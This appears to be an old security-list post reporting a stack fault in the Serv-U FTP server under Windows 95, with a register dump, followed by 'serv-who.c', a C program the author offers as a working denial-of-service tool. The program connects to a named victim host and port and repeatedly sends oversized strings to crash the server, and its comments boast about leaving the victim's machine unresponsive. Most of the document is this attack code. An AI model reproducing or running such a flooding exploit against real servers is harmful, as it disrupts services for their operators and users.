SERV-U32 caused a stack fault in module KERNEL32.DLL at 014f:bff9a08c.
Registers:
EAX=005e2084 CS=014f EIP=bff9a08c EFLGS=00000246
EBX=17bf0514 SS=0157 ESP=005e2080 EBP=005e20d4
ECX=005e2098 DS=0157 ESI=81628c70 FS=2347
EDX=ffffffff ES=0157 EDI=0000ffff GS=0000
Bytes at CS:EIP:
5e 8b e5 5d c2 10 00 64 a1 00 00 00 00 55 8b ec
Stack dump:
00000001 c00000fd 00000000 00000000 bff9a08c 00000000 01570157 01870028
17bf0b6a c10fabe8 16c70001 80dc0014 16e73a45 00040000 02000000 bff97fdc
Why it does this I have no idea. It only acts this way in the windows 95
version. Under NT the cpu usage goes up to 100%, but no crash. Alot of
times even after the crashed Serv-U has closed, Windows is still slow to
non responsive.
And here is the program I used, not pretty but it works:
/*
serv-who.c - 1998 - whiz
kills Serv-U ftp on win95 boxes
This program makes SERV-U32 cause
a stack fault in module KERNEL32.DLL
Sometimes after Serv-U crashes, windows
becomes slow and non responsive,
just an added bonus. Another thing
is that if the ftp is running on NT
it usually won't crash, just raise
CPU usage to 100% while the attack is
running.
Tested on:
i586/100 - 72 meg RAM - crashed 5 times - Serv-U FTP-Server v2.3a
i586/300 - 32 meg RAM - crashed 2 times - Serv-U FTP-Server v2.3b
?/? - ? meg RAM - crashed 2 times - Serv-U FTP-Server v2.3
i586/233 - 32 meg RAM - crashed 1 time - Serv-U FTP-Server v2.2
>>> Thanks to gen for helping me test this. <<<
Another thing that might effect this
program is how fast the serv-who
computer's internet connection is.
Or in other words how much faster is
it then the victim's link. A Faster
one will give a higher success rate.
serv-who, like, who the hell are
you going to serv now, your crashed
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
int x, s, i, p, dport;
char *str =
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
*
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
struct sockaddr_in blah;
struct hostent *he;
bzero((char *)&blah,sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {
bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
}
else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
close(sock);
return(-4);
}
printf(" Connected to [%s:%d].\n",server,port);
return;
}
void main(int argc, char *argv[]) {
int t;
if (argc != 3) {
printf("serv-who.c - whiz\n\n");
printf("kills serv-u ftp daemons\n\n");
printf("Usage: %s <victim> <port>\n",argv[0]);
exit(0);
}
printf("serv-who.c - whiz\n\n");
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(-1);
}
p = atoi(argv[2]);
open_sock(s,argv[1],p);
printf(" Sending crap to %s on port %i... \n", argv[1], p);
for (i=0; i<1000; i++) { /* loop is REAL high, most likely
*/
send(s,str,strlen(str),0x0); /* it will exit with a */
send(s,str,strlen(str)*20+1,0x0); /* "Broken Pipe"
error before */
send(s,str,strlen(str)*25+2,0x0); /* finishing the loop */
send(s,str,strlen(str)*30+3,0x0);
send(s,str,strlen(str)*35+4,0x0);
send(s,str,strlen(str)*40+5,0x0); /* i just went crazy on the sends */
send(s,str,strlen(str)*45+4,0x0); /* pay no attention to them */
send(s,str,strlen(str)*50+5,0x0);
send(s,str,strlen(str)*255+4,0x0);
send(s,str,strlen(str)*182+5,0x0);
send(s,str,strlen(str)*888+4,0x0);
send(s,str,strlen(str)*666+5,0x0);
send(s,str,strlen(str)*20+1,0x0);
send(s,str,strlen(str)*25+2,0x0);
send(s,str,strlen(str)*30+3,0x0);
send(s,str,strlen(str)*35+4,0x0);
send(s,str,strlen(str)*40+5,0x0);
send(s,str,strlen(str)*45+4,0x0);
send(s,str,strlen(str)*50+5,0x0);
send(s,str,strlen(str)*255+4,0x0);
send(s,str,strlen(str)*182+5,0x0);
send(s,str,strlen(str)*888+4,0x0);
send(s,str,strlen(str)*666+5,0x0);
}
printf("all done\n");
close(s);
}